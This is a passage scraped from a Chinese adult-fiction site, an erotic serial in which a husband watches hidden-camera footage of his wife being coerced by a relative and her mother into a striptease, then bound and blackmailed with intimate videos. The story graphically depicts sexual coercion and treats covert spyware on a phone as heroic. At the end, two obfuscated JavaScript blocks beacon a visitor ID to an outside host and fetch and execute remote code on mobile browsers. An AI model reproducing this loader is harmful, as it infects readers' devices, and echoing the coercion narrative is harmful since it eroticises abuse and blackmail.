妻子这时沉默了,不论林斌怎么挑弄,就是不发出声音。林斌见妻子这样,就说道:“小柔,你再不回答我就当你答应了,我要开始来了。只要你说一句不要,我就放过你。”说着还逗弄着插在妻子肛门里的按摩棒。

妻子还是不回答,我知道妻子已经屈服了,她的沉默就是最好的回答。

林斌也清楚这一点,他“嘿嘿”淫笑着挺着鸡巴慢慢往妻子阴道里挺进,速度很慢很慢,他是在故意折磨妻子,让她能沉沦得更彻底。

我的心好疼,我的妻子就要失贞了。

突然,妻子的手机响了,铃声是《铁达尼号》的旋律,这是妻子最喜欢的歌曲,她特意设为我这个老公的专属铃声。

妻子一下子像是被惊醒了一样,她疯了一样扭动腰肢,嘴里大声叫道:“放开我!我不同意!快放开我,不然我就死给你们看!我要接电话。”林斌和岳母被妻子突然的反抗惊呆了,他们只能放下铁链,解开妻子的束缚。

妻子被放开后,迅速的冲到桌边拿起手机,她深唿一口气:“喂。老公,你找我?”这个电话就是我那天到家没见到妻子后给她打的电话,这个电话拯救了妻子,也拯救了我。我庆幸那天我提早离开酒会回家。

我看到这里心情一下好了起来,妻子没有失贞,她还是我的完美妻子。

这时画面中妻子挂断手机放在桌上,林斌走上前想拉住妻子,妻子愤怒的给了林斌一记耳光,岳母这时也走过去想搂住妻子,妻子推开了岳母,岳母见状说道:“小柔,别怪妈好吗?”

妻子也不回答,冷冷的说道:“我老公回来了,快让我上去。”说完捡起衣服穿好。这时岳母已经打开了房门,妻子没有理睬岳母,迳自走了,岳母想说什么,但是最后还是什么都没有说出来。

林斌这时走过来很紧张的问岳母道:“小柔会不会告诉赵刚?”岳母想了想说道:“不会,要是她想说,刚才接电话时就说了。你也不要太紧张,大不了我们离开这里,去个没人认识的地方重新开始。”

林斌也不多说什么,急匆匆的也走了。岳母开始整理起东西,最后在摄像机前叹了口气,关上了摄像机。

视频到这里就结束了,我终于知道了事情的真相。我决心要教训教训林斌,让他为他所做的付出代价。

这时我心里一动,想起视频里林斌说他赚钱了,还买两万多的做爱工具,他哪来的这些钱?他的工资不可能支持他买这些的,而且也不是岳母给他钱,我疑惑了。我突然想到林斌会不会做了什么犯法的事情?他是不是挪用了公款?因为他是我亲戚,所以平时也不太查他的帐簿。想到这里,我叫上另一个财务,让他带着所有帐簿上来,我要查查林斌的帐。

很快,财务就来了,我让他当着我的面查帐,尤其是半年前视频里说发财的那段时间。很快地财务就告诉我,林斌的帐里有大约总数在一百万左右的帐不清楚,很多都没有凭据就划给别人了。我让财务仔细查清楚,然后给我整理一份证据,并叮嘱他不要告诉别人。财务以为我不想把事情闹大,毕竟林斌是我亲戚,便答应着出去了。我把证据锁好,然后就回家了。

我到家时,妻子正在厨房准备晚饭,我从背后轻轻的搂住妻子,鼻子凑上前闻着她悠悠的发香。妻子是我宁静的港湾,我很享受这样的感觉。

妻子对我这样对她也很开心,她闭上眼享受着这份宁静的时光,我们就这样静静的抱着,一直到锅里烧的菜发出了焦味,妻子才慌忙的挣脱开,嗔怪的对我说道:“净帮倒忙,出去出去,别给我添乱了。”我“嘿嘿”笑着,拉着妻子的手,帮她把火关了,说道:“别做了,今天我高兴,我们出去吃,庆祝一下。”

妻子疑惑的看着我,说道:“又不是什么节日,你公司接到大单子了?”

我深情的看着妻子说:“看到你我就开心,拥抱着你随时随地都是节日。”

妻子听了我的话,明显感动了,她紧紧的抱着我,脸颊贴在我的胸膛上,温柔的说道:“老公,我爱你,我要永远和你在一起。”

我这时也感动了,动情的吻上妻子的唇,妻子热情地回应着我的吻。我们深情的吻着对方,不知过了多久,我的肚子饿得叫了起来。

妻子听到我肚子的叫声:“噗哧”一声笑了出来,我尴尬的挠挠头,觉得破坏了这美好的气氛。妻子紧紧拥抱了我一下,然后笑着说:“你先想去哪里吃,我去换衣服。”然后步伐轻快的回房去了。

我感受着妻子的快乐,告诉自己以后要多陪陪妻子,不能再像以前那样光顾着工作了。

妻子换了一套浅绿色的双层薄纱连衣裙,低胸的设计把妻子雪白的肌肤露出一片,鼓胀饱满的乳房在内衣的作用下形成一道深邃的乳沟,那一抹露出的乳肉是那么细腻,那么洁白。下身的裙子内层刚好遮住妻子挺翘的丰臀,外层则是长到脚腕的薄纱,妻子匀称光洁的大腿和纤细娇柔的小腿都隐约可见,诱惑难挡。

我傻傻的看着妻子,妻子见我痴痴地看着她显得很高兴,她原地转了一圈对我说道:“老公,好看吗?”我上前拉住妻子说道:“好看,太好看了。”妻子很开心,我今天的表现明显让她很满意。

我和妻子享受了一顿浪漫的烛光晚餐,饭后我们回到家,妻子依偎着我在沙发上看电视。我们多很享受这样的氛围,不想破坏。这时我想起岳母,也不知道自从上次的事情后她到底是准备怎么样!我假意关心的问妻子道:“最近妈怎么样,好几天没见她了,上次你说妈病了,现在好了吗?要不我们去看看她吧!”

妻子听到我提起岳母,明显情绪低落了,敷衍的笑了笑,说不用去看了,今天岳母打过电话来了,已经没事了,让我放心。

我看出妻子心中有事,想着岳母主动打电话来也不知道是什么事情。这时我想起林斌的手机每天都会自动发送消息到我的电脑里,我趁妻子去洗澡的时候,浏览了一下内容,看后我开始愤怒。

林斌这小子见妻子没有把上次的事情告诉我,胆子又大了起来,发消息给岳母让她再找机会骗妻子去岳母家让他玩弄,岳母劝他算了,他就威胁要和岳母断绝关系,还要把岳母的艳照散发到岳母学校和所有亲戚朋友那里。结果岳母屈服了,答应了找机会让他和妻子做爱。

看到这里,我决定要彻底解决这件事情。我潜入岳母家里安装了大量监控设备,然后控制林斌的手机,只要是和岳母手机进行的通话和短信都会同步记录并发送到我的手机上。做完这一切,我示意战友公司找借口让林斌工作上犯错误,造成一个巨大的损失,然后以此为由将他赶出了公司。

岳母来我家为林斌求情,我突然觉得自己不认得这个让我尊敬的女人了,我感到对岳母非常陌生。

我突然感到对这样调查,猜测的日子很厌烦,所以我直截了当的对岳母说:“妈,你知道我是侦察兵出身,我对人的感觉最准,我最近发现林斌做了对不起我的事情,我看在小柔和您的面子上不追究他,但是我也不可能再留他在公司,我可以给他一笔钱让他回老家创业,算是我和小柔对他最后的帮助,我丑话说在前面,如果让我再知道他做对不起我的事情,我一定让他后悔生到这个世上。”

岳母听了我的话,震惊的看着我,这是我第一次对她说那么重的话,她可能感觉到了什么,沉默了会也不和小柔打招唿就回去了。

当晚我对小柔说了我对林斌的处理,并告诉妻子我回绝了岳母的求情,妻子听了后叹了口气,说道:“这样也好,我们不要再想这些了,过好我们自己的生活吧!”

我和妻子恢复了正常生活,每天只要有空我就尽量陪伴妻子。生活恢复了正常,岳母也不再来我家了,我们每个星期去岳母家一次看看她。

岳母给我的感觉显得非常憔悴,也许是林斌不在了的关系,她好像缺水的花朵,正在慢慢枯萎。我对此也无可奈何,其实我对林斌和岳母的关系并不在意,虽然他们是亲戚关系,但是毕竟没有血缘关系,只要双方愿意,我的态度是无所谓的。只不过林斌这混蛋对妻子也有了邪念,使得我不得不彻底斩断他的念头,让他远离妻子的生活。

就这样过了几个月,我都已经差不多遗忘了这件事情。有一天下午,妻子打电话给我说要和同学聚会,可能会晚点回来,我也没在意,嘱咐了妻子几句就挂机了。

当天我也有一个重要会议,我以身作则把手机调成了静音。开完会出来我打开手机,发现有好几条短消息,我一一检查,突然一条短消息一下让我呆住了。

岳母发给林斌的短消息:“斌,小柔来了,你回来吧!”

我一直没有销毁林斌手机里的木马程式,不过这段时间也没有收到岳母和林斌的联系情况,我以为林斌已经离开上海回老家了,没想到他居然还在上海,而且岳母还和他有联系。

我马上回到办公室打开手提电脑,通过远端监控调出了岳母家的监控记录。经过一度时间的风平浪静,我曾动过念头把岳母的监控撤掉,但是一直都没有机会,现在我不禁庆幸。

监控里,妻子坐在客厅的沙发上,岳母坐在她的对面,只见岳母泪流满面,泣不成声的对妻子说道:“小柔,妈不能没有小斌,我要跟小斌回老家了,小斌说一定要得到你一次,不然就不要我了。算妈求求你了,妈真的不能离开小斌,没了小斌妈会死的,你真的想逼死妈吗?”

妻子听了后也哭了出来,她愤怒的对岳母说道:“妈,你有没有考虑过我的幸福?如果我和林斌发生了关系,我以后还有什么颜面去面对自己的丈夫,还怎么面对以后的孩子?我过不了这一关。我可以给林斌钱,他要多少,我都能尽量给他,只求他放过我。”

岳母听后哭道:“小斌他说不要钱,就要你。小柔,妈也是没有办法了,妈求你了,自从你爸死后妈就没有开心过,这段时间是妈最开心的日子。我知道你看不起妈,觉得妈贱,但是妈就是克制不住自己。你有了刚子,有了一切,妈什么都没有了,只有小斌。妈求你,我们就陪小斌一次,就一次,过后妈就和小斌回老家,这辈子再也不回来了。你要是不答应妈,今天妈就死在你面前。”

妻子听了母亲决绝的话,一下子沉默了,过了良久,妻子声音低沉的说道:“妈,这是我最后一次叫你妈,你养育了我那么多年,今天我就还给你。我答应你,我会陪小斌一次,之后我就和你再没有关系了,从此我们恩断义绝。”

岳母听后也沉默了,然后她叹了口气,对妻子说:“我知道我不是个合格的母亲,你放心,这次之后我们就再也见不到了,从此你就当没有我这个妈吧!”说完岳母和妻子都哭了出来,两人各自默默流泪,屋里只有她们哭泣的声音。

我看到这里抱起笔记本就冲出公司,开车往岳母家赶去,我要阻止妻子做傻事,这种事情有一就有二,我不相信林斌这种人会遵守承诺。

我一边加快速度开车,一边注意监控的内容。幸好我是侦察兵出身,一心两用是家常便饭,一般人要是这样早就出车祸了。

过了没多久,岳母家的房门打开了,林斌走了进来。一看到林斌进屋,岳母就赶忙冲过去跪下为他脱鞋,林斌心安理得的享受着自己婶婶的奴隶似的服务,大大咧咧的坐在沙发上对妻子说道:“小柔,想清楚了没有?你要是愿意就跟我去地下室,让我好好玩玩,要是不同意,我立马走人。”

妻子看着林斌没有回答,岳母在一边连声说道:“小斌,小柔同意了,她会好好伺候你的。”然后对妻子说:“小柔,你说话呀,你对小斌说你同意了呀,你不是答应妈了嘛!”

妻子冷冷的看着岳母,就像看着一个陌生人。良久,妻子站起身,迳自走向地下室,林斌见状起身跟了上去想搂住妻子,却被妻子一个冰冷的眼神镇住了。妻子说道:“到了地下室我会让你得逞的,但是现在你要是敢碰我,我就和你拼命。”说着继续往前走。

林斌尴尬的站在原地,脸上露出被侮辱的愤怒,他啐了一口,嘴里嘟嚷了一句:“臭婊子,待会让你知道厉害。”然后对岳母骂道:“还不给我爬过来,死在那里做什么?”岳母听见林斌的话,吓得赶忙跪下爬到林斌的身边。林斌抬脚就在岳母屁股上踢了一脚,叫道:“母狗,跟上你女儿,待会我要好好玩玩你们这对母女狗。”

我把镜头切换到地下室,只见妻子已经站在房间中央,接着岳母也跟着爬了进来,最后是林斌。

林斌一进房间就坐到唯一的一张沙发上,岳母则顺从的跪在他身边,用脸蹭着林斌的臭脚,接着用嘴脱下他的袜子,解开衣服用自己丰满的乳房磨蹭林斌的脚掌,还用嘴吮吸他的脚趾。

林斌惬意地享受着岳母的服务,得意洋洋的对妻子说:“小柔,你要好好向你的母狗妈妈学习怎么当一条合格的母狗,我今天要让你尝到从来没有试过的滋味,你会像你这条母狗妈妈一样爱上这种滋味的,到时候就是你求着我操你了!哈哈哈……”林斌得意的大笑。

妻子没有理会林斌的话,只是怜悯的看着自己的母亲,她就这样看了一会,然后终于下定了决心。妻子对林斌说道:“林斌,希望你信守承诺,这次之后带我妈回老家好好过日子,我妈可怜了一辈子,今天就当是我这个做女儿的为她做的最后一点事。”说完妻子解开上衣的衣扣,露出里面被蕾丝内衣包裹着的挺翘双峰。

林斌看着妻子,得意的说道:“那就请小柔先为我表演一段脱衣舞吧!”说着他好整以暇的坐好,分开双腿,抬脚踢了一下岳母,岳母就顺从的跪到林斌双腿中间,用嘴拉下裤子的拉链,把鸡巴从裤子里解放了出来,开始卖力地为林斌口交。

“你……”妻子听了林斌的话勃然色变,身为人妻,被迫与丈夫意外的男人发生关系已经让她觉得受到了奇耻大辱,现在还要自己像妓女一样表演脱衣舞,语气还非常轻蔑,让妻子怒不可遏。

“怎么?你有意见?”林斌哼了一声,伸手拉住岳母的头发把跪在身前的岳母扯到自己身上,岳母痛得“啊”叫了一声。林斌抬手就甩了岳母一巴掌:“女儿不听话,我就教训妈。”

岳母一边唿痛,一边对妻子叫喊道:“小柔,别气小斌了,你就答应他吧!啊……好痛!”

妻子气得眼泪在眼眶里打转,只能羞愤的瞪着林斌不吭声。林斌算是抓住了妻子的致命弱点,虽然她恨岳母不知廉耻的行为,但真要看着岳母受皮肉受苦,妻子又不由得心软,只能屈服在林斌的淫威下。

“脱衣舞……我……不会……”妻子羞红着粉脸,像是做错事的小孩子般低声说。

“不会不要紧,让你这个舞蹈教师的老妈教你嘛!”林斌戏嚯的说道,按下屋内音响的遥控开关,房间里立刻响起了节奏强劲的音乐声:“骚母狗,去给你女儿领舞,好好带带她。”

岳母起身站在妻子身前一步的距离,对妻子说道:“小柔,跟着妈妈跳,很简单的,我们让小斌高兴下。”说着就踩起了娴熟的舞步,扭着屁股,开始在妻子面前展臂甩头的领舞。

妻子俏脸煞白的僵立了几秒,贝齿一咬下唇,终于也开始缓缓扭动她惹火诱人的娇躯。

“小柔,我们先热身一下……一、二、三、四……屁股扭起来……前、后、左、右……没错,就是这样!”岳母一下子变成了一个训练有素的舞蹈教练,一边身体力行地示范着最标准的舞姿,一边吆喝着节拍兼纠正妻子姿势动作。

妻子身不由己地照做着,两张脸颊都羞得发烧,我能感受到妻子内心强烈的耻辱感。在妻子看来脱衣舞是一种最不要脸的淫秽表演,过去我们去泰国旅游时也曾经去看过脱衣舞表演,妻子那时表示这种事情完全是在践踏女性的尊严。万万没想到有一天妻子居然也跳起了脱衣舞,而且还是在自己母亲的带领下跳给丈夫以外的男人看。

“小柔!你给我认真一点,别敷衍了事……要是跳得不好,别怪我对你妈不客气!”林斌看得兴高采烈,一会儿督促着妻子,一会儿喝骂着岳母,还时不时的恐吓她们。这一招果然有用,刚开始时妻子完全放不开手脚,可是因为害怕自己不配合会使母亲遭殃,因此不得不豁了出去,强忍着羞耻一丝不苟的学起来。

“小柔,注意模仿我的动作,屁股摇晃得再夸张一点……”岳母的舞姿愈发挑逗了,不知廉耻的边跳边大声嚷嚷:“还有,双手要不断抚摸自己的身体。”在林斌的威胁下,妻子只好含泪照做不误,双手学着岳母,分别在自己的身上来回移动,同时卖力地扭动着腰肢和臀部。

随着音乐的节奏渐渐激昂,妻子的屁股扭动的幅度也越来越大了。每当妻子将她修长的美腿高高踢起时,浑圆的大腿绷得笔直,及膝的长裙飘飞开来,裙下的性感丝袜就全部曝光了,甚至连遮住私处的内裤也都被一览无遗。妻子用了最大的努力来强迫自己,饱满耸翘的屁股开始激烈地扭动着,双手从小腹处缓缓地向上滑动,一直滑到高高鼓起的胸脯上,像是欲火焚身般隔着内衣摸着自己丰满的双乳。

“对,就这样!舞动得热烈些,再热烈些……跳脱衣舞就是要High起来才有味道……尽量的High起来……”林斌兴奋的叫喊着。

在岳母的带领下,跟着音乐,妻子不由自主地上演着平生第一场脱衣舞。妻子胀红着俏脸,乌黑的秀发披散着在肩头飞跃着,已经扭动了一阵的腰身逐渐灵活了不少,动作不再显得那么僵硬,双手一一抚摸过乳房、大腿、屁股等性感地带。

“好,现在把上衣从背后褪到小臂,让它自己滑下去……脱的时候动作不能停啊,要继续扭屁股……对了!对……同时还要尽量抖动胸部,把奶子更夸张的摇晃起来……对,就是这样……好极了,现在开始脱套裙……”

在林斌的逐步指挥下,岳母和妻子先后脱掉了上衣,接着是裙子,然后是高跟鞋和丝袜……很快地,她们全身只剩下性感蕾丝内衣,惹火到极点的身材曲线毕露的展现在林斌眼前。

欣赏着这样两个美女半裸着惹火胴体,只穿着性感内衣大跳艳舞,林斌只看得赞不绝口,视线一秒钟也舍不得离开妻子和岳母娇躯。“哈……不错嘛,小柔跳得越来越熟练了!”林斌故意吹着口哨起闹:“你果然很有跳脱衣舞的天赋,一学就会、一会就精。哈哈哈……”

妻子羞得恨不得找个地洞钻进去,然而舞姿却片刻也不敢停下,模仿着岳母的动作摘下了自己的胸罩,扬手掷给林斌。林斌呵呵大笑,接住妻子的胸罩左闻右嗅,最后还把胸罩戴在头上极尽猥亵之能事。

失去胸罩的束缚后,妻子和岳母的胸前更是乳波激荡,两对丰满的大奶子抖动得愈发剧烈。伴随着眼花缭乱的舞步,四颗雪白滚圆的肉团在醒目的上下弹跳着,那种视觉效果简直是令人鼻血狂喷。

不过林斌的贪婪目光却扫向了妻子的下体,妻子身上最后的遮羞布是一条紧身丁字内裤,正面只能勉强遮住神秘的花园,后面看过去就更夸张了,只有一根细细的布条陷在妻子白嫩的臀丘中间,妻子的屁股可以说几乎完全赤裸。

“他妈的,女人就是下贱!”林斌看得十分兴奋,嘴里却恶毒地骂道:“小柔一定是很想被男人干吧,要不怎么会穿这么淫荡的内裤?”妻子被骂得羞愤不已,眼泪都掉了下来。妻子爱漂亮,喜欢穿裙子,所以内衣裤一般都会买那些贴身穿没有痕迹的品种,现在却被林斌说成是要勾引男人。

足足过了二十多分钟,这场热火朝天的脱衣舞才宣告结束。高亢的音乐声戛然而止,岳母带着妻子摆出了一个最后的姿势,身子向后仰倒单手撑地,并把双腿大大的朝林斌的方向张开。

“好极了,十分精彩!”林斌“辟哩啪啦”的鼓掌喝起采来,眼睛却紧盯着妻子的私处。这种姿势将丁字裤绷得更紧了,那窄得不能再窄的细布条已经陷进了肉缝里,象征性的遮羞布只能刚好遮住穴口,迷人的阴唇却被撑开暴露在林斌眼前。

妻子的整张俏脸都红透了,实在无法忍受这种羞辱,仅仅几秒钟后就站起身并拢了双腿,同时还本能的用手遮住了私处。

“谁叫你自作主张站起来的?老子还没看够呢!”林斌恼怒的冲妻子吼道:“快给我重新叉开大腿摆好姿势!”

妻子再也控制不住情绪,一下子委屈的大哭起来。岳母连忙跑到妻子身边柔声安慰,对林斌说道:“小斌,你不要这样,小柔都答应你了,你还这样逼她干什么?”

林斌看妻子这样,也觉得好像过份了,低声安慰妻子道:“小柔,哥是太喜欢你了,太兴奋了,一下子没控制住,以后不会了。”

妻子气得对林斌说道:“以后,你还想要什么以后?我们没有以后。”

林斌张口刚想说什么,岳母就抢在他前面说道:“对,没有以后,就一次,我们这次后就再也见不到了。小柔,这是妈这辈子对你最后一个请求了,别让妈失望。”

妻子渐渐平复了心情,她站起身,看着林斌,咬了咬嘴唇,像是用尽全身力气一般嘶声喊道:“林斌你不就是想干那恶心的勾当吗,那就快点干吧!我……我就当是被恶狗蹂躏了身子,被疯狗糟蹋了清白!你……你来呀!林斌,有本事就来呀……”

妻子精致得无可挑剔的脸庞、高挑苗条的身段、诱惑难当的身体曲线,都散发着诱人的魅力,清秀无伦,诱人之极。乌黑的秀发衬托得她嫩滑的肌肤更加雪白,尤其是温柔恬静的气质使她的美态大大提升。

那是一种真淳朴素的天然,宛如清水中的芙蓉,令人诧异天生丽质可以到这种境界。柔若无骨的玉臂、细致白皙似绵雪的玉手、纤细小巧不堪一握的柳腰,饱满翘挺的双峰上两点嫣红挺立,露出无限春光。

林斌看着妻子娇美的面庞、白净的额头,那让人沉溺、让人无法自拔的一双含泪的明眸,再也忍不住,一把扑过去,急促地喘息着,抱住了妻子,一边狂乱地吻她,一边喃喃地道:“小柔,我……我好喜欢你,真的,我真的好喜欢你,你离开你那个当兵的老公跟我走吧,我会好好对待你们母女两个人。我们以后会很快乐,我会给你们一切,一辈子都不离开你们……”

妻子猛地挣脱林斌的拥抱,“啪”的一声狠狠给了他一记响亮的耳光,愤怒使妻子的俏脸飞上一朵红云。她闪开身子说道:“林斌你混蛋,我和你是不可能的,我爱我的老公,你再这样对我,我情愿死也不会让你得逞,我说到做到。”

这时候岳母在一边打圆场道:“小柔,小斌只是太喜欢你,一时煳涂说了胡话,你别放在心上。妈和小斌明天就回老家了,今后再也不会出现在你面前,你放心吧!”然后岳母背着妻子对林斌使了个眼色说道:“小斌,你告诉小柔是不是这样。”

林斌不情愿的低声说道:“是,小柔,刚才我说胡话了,你别放在心上,只要你今天让我得偿所愿,我明天就和梅姨回老家。”

妻子就是不说话,不知道在思考什么,气氛在这时凝结住了。林斌渐渐地开始丧失了耐心,他语带威胁的对妻子说道:“小柔,这样僵持着对你没好处,我今天把话说清楚,只要你今天能当我老公一样的伺候我一次,明天我就走,再也不纠缠你。但是你要是不让我满意,明天你妈和你自己的艳照就会分发到所有认识你们的人手里,你想让你老公看看自己跳脱衣舞的样子吗?”说着他拿出早就藏好的摄像机,开始播放刚才妻子的那段脱衣舞视频。

妻子震惊的看着摄像机播放的视频,突然像发疯一样的冲上去想抢夺林斌手里的摄像机,嘴里还叫骂着:“混蛋,你不守信用,你答应不会再拍这些的。”林斌虽然被妻子弄得很狼狈,但是毕竟作为男人,天生在力量上比妻子占据了优势,很快就控制住了妻子。

林斌对岳母叫道:“还不过来帮忙,死在那里不动做什么?”岳母被林斌一吼,连忙上前帮着林斌一起把妻子绑在了一张椅子上。

妻子被强迫坐在椅子上,双手被反绑在椅背上,岳母则蹲下身,双手抓住妻子纤细的脚踝,先分开一定的角度,然后单膝压住妻子的脚背,用绳子把妻子的一只脚固定在凳子腿上,接着如法炮制,绑好另一只。这样妻子的一对秀足被迫呈外八字形,屈辱地向外张开一定的角度固定在凳子腿上。饶是如此,妻子还是拼着全力,尽量并拢双腿。

“别白费力气了。”岳母的声音响起:“小柔,你为什么就不肯顺从小斌一次呢!”

妻子哭泣着问岳母:“妈,为什么要骗我?你答应过我什么,为什么要帮林斌偷拍,你们早就有预谋了吧?什么一次就行,都是骗我的,你是我亲妈,你为什么要出卖我?”==记住==亚洲色吧

网址: yazhouse8.com yazhouseba.co

啊春闯关催眠 性奴巨乳骚大屁股有耐力鎏金啊晓春哥哥们绝对求生潜伏北平被脱甜蜜的咬痕T妹妹午休时间猎人妹妹脚视奸火车上和妈妈性交很暴露4P之夜

上一篇 (同学狂干我妈) 人妻交换 下一篇 (家长会之顺利拿下娇俏美人妻)

啊春闯关催眠 性奴巨乳骚大屁股有耐力鎏金啊晓春哥哥们绝对求生潜伏北平被脱甜蜜的咬痕T妹妹午休时间猎人妹妹脚视奸火车上和妈妈性交很暴露4P之夜 发布

暂时还没有评论,就等你发言了


上一篇:倚天屠龙-周芷若篇

下一篇:逃学后的情色生活


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};